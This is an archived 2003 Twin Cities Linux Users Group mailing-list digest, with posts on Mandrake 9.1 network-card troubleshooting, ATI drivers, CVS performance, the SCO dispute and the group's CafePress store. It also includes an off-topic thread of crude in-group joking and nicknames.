- its "default" setup. Now, ATI.com website has Linux drivers - But, they need XFree 4.2.0, not XFree 4.3.0. which RedHat 9 ships with. I was unable to install XFree 4.2.0 - didn't work for me. Please reply at pavel@internetcomealive.com as I'm not subscribed to the list. Thanks. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From amy at real-time.com Thu Aug 14 14:08:00 2003 From: amy at real-time.com (Amy Tanner) Date: Mon Jan 17 12:40:23 2005 Subject: [TCLUG] RE: [TCLUG]OT am i retarded?----WAS: Have date for Installfest In-Reply-To: <150CF426-CE7C-11D7-A059-000A9581A7A6@us-admins.com> References: <20030814144459.GB4427@real-time.com> <150CF426-CE7C-11D7-A059-000A9581A7A6@us-admins.com> Message-ID: <20030814190800.GJ9695@real-time.com> On Thu, Aug 14, 2003 at 12:23:55PM -0500, Ben Lutgens (blutgens@us-admins.com) wrote: > > On Thursday, Aug 14, 2003, at 09:45 US/Central, Amy Tanner wrote: > > >On Thu, Aug 14, 2003 at 09:38:54AM -0500, Sam MacDonald > >(smac@visi.com) wrote: > >>My wife hate them as well, makes me think wives don't like the work or > >>hobbies men have :o) > > > >Now don't overgeneralize. Female computer geeks do exist. :) > > Yeah, but they're all taken by some lucky bastard. What was that about the early bird catching the worm? :P -- Amy Tanner amy@real-time.com _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From amy at real-time.com Thu Aug 14 14:15:26 2003 From: amy at real-time.com (Amy Tanner) Date: Mon Jan 17 12:40:23 2005 Subject: [TCLUG] RE: [TCLUG]OT am i retarded?----WAS: Have date for Installfest In-Reply-To: References: <0399641989D32043BED5793CCC8F5CD54D3688@BPEXU1VM2.andersencorp.com> <001201c36271$ce65a420$6501a8c0@isd.net> <20030814144459.GB4427@real-time.com> Message-ID: <20030814191525.GK9695@real-time.com> On Thu, Aug 14, 2003 at 11:18:13AM -0500, David Dyer-Bennet (dd-b@dd-b.net) wrote: > Amy Tanner writes: > > > On Thu, Aug 14, 2003 at 09:38:54AM -0500, Sam MacDonald (smac@visi.com) wrote: > > > My wife hate them as well, makes me think wives don't like the work or > > > hobbies men have :o) > > > > Now don't overgeneralize. Female computer geeks do exist. :) > > I've worked with a few first-rate ones. But there still aren't > *enough* of them :-). (Happily married to a word geek, which works > fine for me.) If there were too many, they wouldn't be as valuable. :P -- Amy Tanner amy@real-time.com _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From trammell+tclug at el-swifto.com Thu Aug 14 14:31:42 2003 From: trammell+tclug at el-swifto.com (John J. Trammell) Date: Mon Jan 17 12:40:23 2005 Subject: [TCLUG] [OT] am i retarded? (WAS: Have date for Installfest) In-Reply-To: <20030814191525.GK9695@real-time.com> References: <0399641989D32043BED5793CCC8F5CD54D3688@BPEXU1VM2.andersencorp.com> <001201c36271$ce65a420$6501a8c0@isd.net> <20030814144459.GB4427@real-time.com> <20030814191525.GK9695@real-time.com> Message-ID: <20030814193142.GA32480@mail.el-swifto.com> On Thu, Aug 14, 2003 at 02:15:26PM -0500, Amy Tanner wrote: > On Thu, Aug 14, 2003 at 11:18:13AM -0500, David Dyer-Bennet (dd-b@dd-b.net) wrote: > > Amy Tanner writes: > > > > > On Thu, Aug 14, 2003 at 09:38:54AM -0500, Sam MacDonald (smac@visi.com) wrote: > > > > My wife hate them as well, makes me think wives don't like the work or > > > > hobbies men have :o) > > > > > > Now don't overgeneralize. Female computer geeks do exist. :) > > > > I've worked with a few first-rate ones. But there still aren't > > *enough* of them :-). (Happily married to a word geek, which works > > fine for me.) > > If there were too many, they wouldn't be as valuable. :P > Of course you can always try to turn a non-geek girl into a Power Linux User. First step: get her hooked on frozen-bubble. :-) -- trammell@el-swifto.com 9EC7 BC6D E688 A184 9F58 FD4C 2C12 CC14 8ABA 36F5 Twin Cities Linux Users Group (TCLUG) Minneapolis/St. Paul, Minnesota _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From sfertch at real-time.com Thu Aug 14 14:36:31 2003 From: sfertch at real-time.com (Shawn) Date: Mon Jan 17 12:40:23 2005 Subject: [TCLUG] RE: [TCLUG]OT am i retarded?----WAS: Have date for Installfest In-Reply-To: <20030814190800.GJ9695@real-time.com> References: <20030814144459.GB4427@real-time.com> <150CF426-CE7C-11D7-A059-000A9581A7A6@us-admins.com> <20030814190800.GJ9695@real-time.com> Message-ID: <20030814143631.5944f583.sfertch@real-time.com> On Thu, 14 Aug 2003 14:08:00 -0500 Amy Tanner wrote: > On Thu, Aug 14, 2003 at 12:23:55PM -0500, Ben Lutgens > (blutgens@us-admins.com) wrote: > > > > On Thursday, Aug 14, 2003, at 09:45 US/Central, Amy Tanner wrote: > > > > >On Thu, Aug 14, 2003 at 09:38:54AM -0500, Sam MacDonald > > >(smac@visi.com) wrote: > > >>My wife hate them as well, makes me think wives don't like the > > >work or>hobbies men have :o) > > > > > >Now don't overgeneralize. Female computer geeks do exist. :) > > > > Yeah, but they're all taken by some lucky bastard. > > What was that about the early bird catching the worm? :P > I don't think the PC police would like how I'd respond to that question Amy! -- Shawn The difficult we do today; the impossible take a little longer. Ne Obliviscaris -- "Forget Not" _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From tanner at mn-linux.org Thu Aug 14 14:53:18 2003 From: tanner at mn-linux.org (Bob Tanner) Date: Mon Jan 17 12:40:23 2005 Subject: [TCLUG] IdiotBen, RetardDan(?) was RE: [TCLUG]OT am i retarded?----WAS: Have date for Installfest In-Reply-To: <150CF426-CE7C-11D7-A059-000A9581A7A6@us-admins.com> References: <150CF426-CE7C-11D7-A059-000A9581A7A6@us-admins.com> Message-ID: <200308141453.18885@Twin.Cities.Linux.Users.Group-www.mn-linux.org> On Thursday 14 August 2003 12:23 pm, Ben Lutgens wrote: > On Thursday, Aug 14, 2003, at 09:45 US/Central, Amy Tanner wrote: > > On Thu, Aug 14, 2003 at 09:38:54AM -0500, Sam MacDonald > > > > (smac@visi.com) wrote: > >> My wife hate them as well, makes me think wives don't like the work or > >> hobbies men have :o) > > > > Now don't overgeneralize. Female computer geeks do exist. :) > > Yeah, but they're all taken by some lucky bastard. Ok, I like this type of thread :-) It's how we got IdiotBen! Now we got RetardDan? Right? Dan started this thread? :-P -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org, Minnesota, Linux | Fax : (952)943-8500 http://www.linuxjustworks.com | Linux Just Works! Key fingerprint = AB15 0BDF BCDE 4369 5B42 1973 7CF1 A709 2CC1 B288 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From blutgens at us-admins.com Thu Aug 14 15:19:46 2003 From: blutgens at us-admins.com (Ben Lutgens) Date: Mon Jan 17 12:40:23 2005 Subject: [TCLUG] IdiotBen, RetardDan(?) was RE: [TCLUG]OT am i retarded?----WAS: Have date for Installfest In-Reply-To: <200308141453.18885@Twin.Cities.Linux.Users.Group-www.mn-linux.org> Message-ID: On Thursday, Aug 14, 2003, at 14:53 US/Central, Bob Tanner wrote: > > Ok, I like this type of thread :-) It's how we got IdiotBen! Now we got > RetardDan? Right? Dan started this thread? > nyah nyah nyah nyah nyaaaaaah nyaaaaah. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From tanner at mn-linux.org Thu Aug 14 15:16:43 2003 From: tanner at mn-linux.org (Bob Tanner) Date: Mon Jan 17 12:40:24 2005 Subject: [TCLUG] IdiotBen, "old" days, and humor was RE: [TCLUG]OT am i retarded?----WAS: Have date for Installfest In-Reply-To: <200308141453.18885@Twin.Cities.Linux.Users.Group-www.mn-linux.org> References: <150CF426-CE7C-11D7-A059-000A9581A7A6@us-admins.com> <200308141453.18885@Twin.Cities.Linux.Users.Group-www.mn-linux.org> Message-ID: <200308141516.43613@Twin.Cities.Linux.Users.Group-www.mn-linux.org> On Thursday 14 August 2003 02:53 pm, Bob Tanner wrote: > On Thursday 14 August 2003 12:23 pm, Ben Lutgens wrote: > > On Thursday, Aug 14, 2003, at 09:45 US/Central, Amy Tanner wrote: > > > On Thu, Aug 14, 2003 at 09:38:54AM -0500, Sam MacDonald > > > > > > (smac@visi.com) wrote: > > >> My wife hate them as well, makes me think wives don't like the work or > > >> hobbies men have :o) > > > > > > Now don't overgeneralize. Female computer geeks do exist. :) > > > > Yeah, but they're all taken by some lucky bastard. > > Ok, I like this type of thread :-) It's how we got IdiotBen! Now we got > RetardDan? Right? Dan started this thread? > > :-P Since some of you are humor-chanlleged, this was a joke. Sheesh. In the "old" days we all laughed about how IdiotBen came into existence, Ben included. -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org, Minnesota, Linux | Fax : (952)943-8500 http://www.linuxjustworks.com | Linux Just Works! Key fingerprint = AB15 0BDF BCDE 4369 5B42 1973 7CF1 A709 2CC1 B288 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From sfertch at real-time.com Thu Aug 14 15:27:32 2003 From: sfertch at real-time.com (Shawn) Date: Mon Jan 17 12:40:24 2005 Subject: [TCLUG] IdiotBen, "old" days, and humor was RE: [TCLUG]OT am i retarded?----WAS: Have date for Installfest In-Reply-To: <200308141516.43613@Twin.Cities.Linux.Users.Group-www.mn-linux.org> References: <150CF426-CE7C-11D7-A059-000A9581A7A6@us-admins.com> <200308141453.18885@Twin.Cities.Linux.Users.Group-www.mn-linux.org> <200308141516.43613@Twin.Cities.Linux.Users.Group-www.mn-linux.org> Message-ID: <20030814152732.5257d020.sfertch@real-time.com> On Thu, 14 Aug 2003 15:16:43 -0500 Bob Tanner wrote: > On Thursday 14 August 2003 02:53 pm, Bob Tanner wrote: > > On Thursday 14 August 2003 12:23 pm, Ben Lutgens wrote: > > > On Thursday, Aug 14, 2003, at 09:45 US/Central, Amy Tanner wrote: > > > > On Thu, Aug 14, 2003 at 09:38:54AM -0500, Sam MacDonald > > > > > > > > (smac@visi.com) wrote: > > > >> My wife hate them as well, makes me think wives don't like the > > > >work or> hobbies men have :o) > > > > > > > > Now don't overgeneralize. Female computer geeks do exist. :) > > > > > > Yeah, but they're all taken by some lucky bastard. > > > > Ok, I like this type of thread :-) It's how we got IdiotBen! Now we > > got RetardDan? Right? Dan started this thread? > > > > :-P > > Since some of you are humor-chanlleged, this was a joke. Sheesh. In > the "old" days we all laughed about how IdiotBen came into existence, > Ben included. > I didn't have a problem with it Bob! I was laughing about it, and trying to remember the exact thread that got Ben his name.... -- Shawn The difficult we do today; the impossible take a little longer. Ne Obliviscaris -- "Forget Not" _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From dsherman at real-time.com Thu Aug 14 15:30:55 2003 From: dsherman at real-time.com (Dave Sherman) Date: Mon Jan 17 12:40:24 2005 Subject: [TCLUG] Mandrake 9.1 not connecting In-Reply-To: <20030814154413.AD291E4769@vpop-2.mc.mpls.visi.com> References: <20030814154413.AD291E4769@vpop-2.mc.mpls.visi.com> Message-ID: <3F3BF17F.3020207@real-time.com> pjcrump@bitstream.net wrote: > I'm a networking newbie.. so please be gentle.. > Just installed Mandrake 9.1 and I am unable to get the network > connection working. I have worked through the Mandrake Control Center > but to no avail (googling indicates that the control center is junk). > The nic is a built in VIA VT6103 (which I would expect that Mandrake > setup the drivers correctly) > Here is output of the ifconfig > --------- > eth0 Link encap:Ethernet HWaddr 00:E0:4C:A7:82:0C > UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 > RX packets:0 errors:0 dropped:0 overruns:0 frame:0 > TX packets:0 errors:67 dropped:0 overruns:0 carrier:0 > collisions:0 txqueuelen:100 > RX bytes:0 (0.0 b) TX bytes:0 (0.0 b) > Interrupt:16 Base address:0xe800 > eth0:9 Link encap:Ethernet HWaddr 00:E0:4C:A7:82:0C > inet addr:169.254.251.14 Bcast:169.254.255.255 Mask:255.255.0.0 > UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 > Interrupt:16 Base address:0xe800 > lo Link encap:Local Loopback > inet addr:127.0.0.1 Mask:255.0.0.0 > UP LOOPBACK RUNNING MTU:16436 Metric:1 > RX packets:554 errors:0 dropped:0 overruns:0 frame:0 > TX packets:554 errors:0 dropped:0 overruns:0 carrier:0 > collisions:0 txqueuelen:0 > RX bytes:46262 (45.1 Kb) TX bytes:46262 (45.1 Kb) > --------- > One thing that I see that is wierd is the eth0:9 - what does the :9 mean? > .. And here is the output of the route -n command: > ----------- > Kernel IP routing table > Destination Gateway Genmask Flags Metric Ref Use Iface > 169.254.0.0 0.0.0.0 255.255.0.0 U 0 0 0 eth0 > 127.0.0.0 0.0.0.0 255.0.0.0 U 0 0 0 lo > ----------- > I understand that the 169.254.0.0 has something to do w/ Samba? > I think something in the routing table looks wrong but I dunno? > Thanks in advance! OK, first of all, that 169.254.0.0 is just the default route for eth0:9 (a virtual NIC with a different IP address than plain old eth0), which has IP address 169.254.251.14. This address is created by a little program called zeroconf (I think), which is designed to work with APIPA. If you don't know what that means, google for APIPA and zeroconf. The short version is, the system will assign itself an IP address in the 169.254.0.0/16 subnet, and if other hosts on the LAN also have APIPA enabled, then they will all be able to talk with one another without any additional configuration. If you still don't understand, well, you probably don't need to worry about it. Unless your system is directly connected to the Internet (not behind a firewall), it's not a security risk. OK, now that that's out of the way, we need to ask some questions: Do you have link lights on your NIC and on the hub or switch that you are plugged into? If you have no link, then you have a hardware (probably cabling) problem. I notice that eth0 reports 67 transmit errors. Are you sure your cable is connected OK? Or is that just from some failed ping tests? What is the output of /sbin/lsmod? You should see your network driver in the list. I did a quick google using "VT6103 linux driver" and it looks like the module is via-rhine, so make sure that is in your list. If it's not, then the system is not loading the driver and that is your problem. Are you using DHCP or a static IP config? If it's static, have you double-checked your settings for a mis-typed IP address or anything else? If it's DHCP, then it appears that you are not receiving a config from your DHCP server. Can you verify if your DHCP server is available, and responding? -- Dave Sherman - MCSE, MCSA, CCNA Meddle not in the affairs of dragons, for you are crunchy, and good with ketchup. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From jima at beer.tclug.org Thu Aug 14 15:47:43 2003 From: jima at beer.tclug.org (Jima) Date: Mon Jan 17 12:40:24 2005 Subject: [TCLUG] IdiotBen, "old" days, and humor was RE: [TCLUG]OT am i retarded?----WAS: Have date for Installfest In-Reply-To: <20030814152732.5257d020.sfertch@real-time.com> Message-ID: On Thu, 14 Aug 2003 Bob Tanner wrote: > Since some of you are humor-chanlleged, this was a joke. Sheesh. In > the "old" days we all laughed about how IdiotBen came into existence, > Ben included. In the old days? I dunno about anyone else, but I *still* do. :) On Thu, 14 Aug 2003, Shawn wrote: > I didn't have a problem with it Bob! I was laughing about it, and > trying to remember the exact thread that got Ben his name.... It was sometime around this, I think: http://archives.real-time.com/pipermail/tclug-list/2000-September/027024.html Bit before my time with this LUG, as I recall. Jima _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From Dan.Lansing at AndersenCorp.com Thu Aug 14 15:53:54 2003 From: Dan.Lansing at AndersenCorp.com (Lansing, Dan) Date: Mon Jan 17 12:40:24 2005 Subject: [TCLUG] IdiotBen, RetardDan(?) was RE: [TCLUG]OT am i retarded?----WAS: Have date for Installfest Message-ID: <0399641989D32043BED5793CCC8F5CD526FAB1@BPEXU1VM2.andersencorp.com> RetardDan? You must know my wife....i think that's her pet name for me this week :-) Dan Lansing -----Original Message----- From: Bob Tanner [mailto:tanner@mn-linux.org] Sent: Thursday, August 14, 2003 2:53 PM To: tclug-list@mn-linux.org Subject: [TCLUG] IdiotBen, RetardDan(?) was RE: [TCLUG]OT am i retarded?----WAS: Have date for Installfest Ok, I like this type of thread :-) It's how we got IdiotBen! Now we got RetardDan? Right? Dan started this thread? :-P -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org, Minnesota, Linux | Fax : (952)943-8500 http://www.linuxjustworks.com | Linux Just Works! Key fingerprint = AB15 0BDF BCDE 4369 5B42 1973 7CF1 A709 2CC1 B288 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From pjcrump at bitstream.net Thu Aug 14 16:10:48 2003 From: pjcrump at bitstream.net (pjcrump@bitstream.net) Date: Mon Jan 17 12:40:24 2005 Subject: [TCLUG] Re: Mandrake 9.1 not connecting In-Reply-To: <16187.50745.584270.483155@gargle.gargle.HOWL> References: <20030814154413.AD291E4769@vpop-2.mc.mpls.visi.com> <16187.50745.584270.483155@gargle.gargle.HOWL> Message-ID: <20030814211048.776AAE4A83@vpop-2.mc.mpls.visi.com> Well with the help of a friend of mine we managed to determine that mandrake didn't 'like' the built-in nic. So I disabled the it and dropped in a 'new' nic card and re-installed mandrake and it works just great! But (and there is always a but) I can ping other boxes on my network but they can't ping this new box. I disabled iptables to no avail. What would cause this to happen? rpgoldman@real-time.com writes: > Try sending your /etc/networking-scripts/ifcfg-eth0, and /etc/modules.conf. > > Also look for information about the ethernet configuration in the > output of dmesg. > > You're right, that ':9' looks very troubling. > > r > > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Thu Aug 14 17:05:46 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:24 2005 Subject: [TCLUG] Re: Mandrake 9.1 not connecting References: <20030814154413.AD291E4769@vpop-2.mc.mpls.visi.com> <16187.50745.584270.483155@gargle.gargle.HOWL> <20030814211048.776AAE4A83@vpop-2.mc.mpls.visi.com> Message-ID: <000801c362b0$36935fe0$6501a8c0@isd.net> hosts is the hosts file updated. ----- Original Message ----- From: To: Sent: Thursday, August 14, 2003 4:10 PM Subject: [TCLUG] Re: Mandrake 9.1 not connecting > Well with the help of a friend of mine we managed to determine that mandrake > didn't 'like' the built-in nic. So I disabled the it and dropped in a 'new' > nic card and re-installed mandrake and it works just great! > But (and there is always a but) I can ping other boxes on my network but > they can't ping this new box. I disabled iptables to no avail. What would > cause this to happen? > > rpgoldman@real-time.com writes: > > > Try sending your /etc/networking-scripts/ifcfg-eth0, and /etc/modules.conf. > > > > Also look for information about the ethernet configuration in the > > output of dmesg. > > > > You're right, that ':9' looks very troubling. > > > > r > > > > > > > > _______________________________________________ > > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > > http://www.mn-linux.org tclug-list@mn-linux.org > > https://mailman.real-time.com/mailman/listinfo/tclug-list > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From JAustad at temgweb.com Thu Aug 14 17:13:39 2003 From: JAustad at temgweb.com (Austad, Jay) Date: Mon Jan 17 12:40:24 2005 Subject: [TCLUG] IdiotBen, RetardDan(?) was RE: [TCLUG]OT am i retarde d?----WAS: Have date for Installfest Message-ID: <288FAF5565A1A74EA5E35C39E7EE1D420A1BDAA3@mail.temgweb.com> Heh, someone should buy Dan a beige bike helmet to wear to the next beer meeting. :) > -----Original Message----- > From: Lansing, Dan [mailto:Dan.Lansing@AndersenCorp.com] > Sent: Thursday, August 14, 2003 3:54 PM > To: tclug-list@mn-linux.org > Subject: RE: [TCLUG] IdiotBen, RetardDan(?) was RE: [TCLUG]OT am i > retarded?----WAS: Have date for Installfest > > > RetardDan? You must know my wife....i think that's her pet > name for me this week :-) > > Dan Lansing > > -----Original Message----- > From: Bob Tanner [mailto:tanner@mn-linux.org] > Sent: Thursday, August 14, 2003 2:53 PM > To: tclug-list@mn-linux.org > Subject: [TCLUG] IdiotBen, RetardDan(?) was RE: [TCLUG]OT am > i retarded?----WAS: Have date for Installfest > > Ok, I like this type of thread :-) It's how we got IdiotBen! > Now we got > RetardDan? Right? Dan started this thread? > > :-P > > -- > Bob Tanner | Phone : (952)943-8700 > http://www.mn-linux.org, Minnesota, Linux | Fax : (952)943-8500 > http://www.linuxjustworks.com | Linux Just Works! > Key fingerprint = AB15 0BDF BCDE 4369 5B42 1973 7CF1 A709 2CC1 B288 > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From tanner at real-time.com Thu Aug 14 18:15:03 2003 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 12:40:24 2005 Subject: [TCLUG] SCO invoices, oh my! Message-ID: <200308141815.03346@Twin.Cities.Linux.Users.Group-www.mn-linux.org> http://www.zdnet.com.au/newstech/os/story/0,2000048630,20277173,00.htm -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org, Minnesota, Linux | Fax : (952)943-8500 Key fingerprint = AB15 0BDF BCDE 4369 5B42 1973 7CF1 A709 2CC1 B288 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From pjcrump at bitstream.net Thu Aug 14 19:14:48 2003 From: pjcrump at bitstream.net (PJ Crump) Date: Mon Jan 17 12:40:24 2005 Subject: [TCLUG] Re: Mandrake 9.1 not connecting In-Reply-To: <000801c362b0$36935fe0$6501a8c0@isd.net> Message-ID: The hosts file contains 127.0.0.1 localhost 192.168.1.### boxname - PJ -----Original Message----- From: tclug-list-admin@mn-linux.org [mailto:tclug-list-admin@mn-linux.org]On Behalf Of Sam MacDonald Sent: Thursday, August 14, 2003 5:06 PM To: tclug-list@mn-linux.org Subject: Re: [TCLUG] Re: Mandrake 9.1 not connecting hosts is the hosts file updated. ----- Original Message ----- From: To: Sent: Thursday, August 14, 2003 4:10 PM Subject: [TCLUG] Re: Mandrake 9.1 not connecting > Well with the help of a friend of mine we managed to determine that mandrake > didn't 'like' the built-in nic. So I disabled the it and dropped in a 'new' > nic card and re-installed mandrake and it works just great! > But (and there is always a but) I can ping other boxes on my network but > they can't ping this new box. I disabled iptables to no avail. What would > cause this to happen? > > rpgoldman@real-time.com writes: > > > Try sending your /etc/networking-scripts/ifcfg-eth0, and /etc/modules.conf. > > > > Also look for information about the ethernet configuration in the > > output of dmesg. > > > > You're right, that ':9' looks very troubling. > > > > r > > > > > > > > _______________________________________________ > > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > > http://www.mn-linux.org tclug-list@mn-linux.org > > https://mailman.real-time.com/mailman/listinfo/tclug-list > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From david at acz.org Thu Aug 14 20:11:57 2003 From: david at acz.org (David Phillips) Date: Mon Jan 17 12:40:24 2005 Subject: [TCLUG] SCO invoices, oh my! References: <200308141815.03346@Twin.Cities.Linux.Users.Group-www.mn-linux.org> Message-ID: <005f01c362ca$392f68b0$0201a8c0@brinstar> Bob Tanner writes: > http://www.zdnet.com.au/newstech/os/story/0,2000048630,20277173,00.htm I think you really own a bunch of SCO stock. -- David Phillips http://david.acz.org/ _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From waynej at dccmn.com Thu Aug 14 21:51:50 2003 From: waynej at dccmn.com (Wayne Johnson) Date: Mon Jan 17 12:40:24 2005 Subject: [TCLUG] RE: [TCLUG]OT am i retarded?----WAS: Have date for Installfest In-Reply-To: <20030814191525.GK9695@real-time.com> References: <0399641989D32043BED5793CCC8F5CD54D3688@BPEXU1VM2.andersencorp.com> <001201c36271$ce65a420$6501a8c0@isd.net> <20030814144459.GB4427@real-time.com> <20030814191525.GK9695@real-time.com> Message-ID: <1588.192.1.1.23.1060915910.squirrel@dccmn.com> Now if someone could create a quilting program that runs on Linix, my wife would love it... Amy Tanner said: > On Thu, Aug 14, 2003 at 11:18:13AM -0500, David Dyer-Bennet > (dd-b@dd-b.net) wrote: >> Amy Tanner writes: >> >> > On Thu, Aug 14, 2003 at 09:38:54AM -0500, Sam MacDonald >> (smac@visi.com) wrote: >> > > My wife hate them as well, makes me think wives don't like the >> work or hobbies men have :o) >> > >> > Now don't overgeneralize. Female computer geeks do exist. :) >> >> I've worked with a few first-rate ones. But there still aren't >> *enough* of them :-). (Happily married to a word geek, which works >> fine for me.) > > If there were too many, they wouldn't be as valuable. :P > > -- > Amy Tanner > amy@real-time.com > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From waynej at dccmn.com Thu Aug 14 21:54:53 2003 From: waynej at dccmn.com (Wayne Johnson) Date: Mon Jan 17 12:40:24 2005 Subject: [TCLUG] Slight OT: Huge CVS tree management? In-Reply-To: <20030813224143.GA363@duron> References: <200308131629.24124@Twin.Cities.Linux.Users.Group-www.mn-linux.org> <20030813233440.GA23212@skuld.wookimus.net> <20030813224143.GA363@duron> Message-ID: <1595.192.1.1.23.1060916093.squirrel@dccmn.com> It depends on the number of files and the updates in those files, as well as the server horsepower. Karl Bongers said: >> On Wed, Aug 13, 2003 at 04:29:24PM -0500, Bob Tanner wrote: >> > When your cvs repository gets large enough that a cvs update -dP >> takes 15mins, and cvs commit at just as long, what do you do? > > A cvs checkout on a 18M project(sdcc) on sourceforge just took > about 1 minute. Afterwards a cvs update took about 5 seconds. > How large can your repository be? > > > > > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From dru at druswanderings.net Thu Aug 14 22:44:53 2003 From: dru at druswanderings.net (The Wandering Dru) Date: Mon Jan 17 12:40:24 2005 Subject: [TCLUG] Store Particulars -Rather long Message-ID: <1060919093.1802.17.camel@cesium> Some questions have come up regarding how the TCLUG Store is set up. This message is intended to inform the group on how things are set up. The TCLUG store is set up through cafepress.com. What this does is allows us to design our merchandise but not actually have it made or outlay any money until an item is ordered. CafePress then manufactures the item, bills who bought it, and ships it out. There is a minimum price that cafepress requires on each item. This is known as the base price and is what they want to cover their materials cost and profit. The store owner is free to charge more for the items, in which case the extra profit goes into an account until a threshold is reached, then a check is sent at the end of the month to the store owner (reported to the IRS as income, of course). The free stores at cafepress allow for one design of each item type. In other words, you can have one white t-shirt, one grey t-shirt, one oval sticker, one retangular sticker, one hat, etc. In order to have more than one design in a product type, the store must be "upgraded" to a premium store (read, pay them money for the extras). Premium stores also have an expanded product line available with certain seasonal and special items. Youalso have much more control over the layout and design of the site itself and get priority listing in their directory. Now to the meat of the TCLUG store. The owner is me, Andy Moore. I felt the premium store was worth the initial outlay of money to get the ability to have more than one design. As a result I have a small upcharge on the merchandise there; $0.51-$1.01 per item. The extra penny is just 'cause I like round dollars and their base prices are all $*.99. Money made goes right back to pay for the premium site which cost $60 for the year. Once the cost of the premium site is covered I can do a couple of things. I can reduce the cost of the items to their base price for the remainder of the year, allowing items to be bought "at cost". I could pocket all that extra cash for my greedy little capitalistic self (I've already had 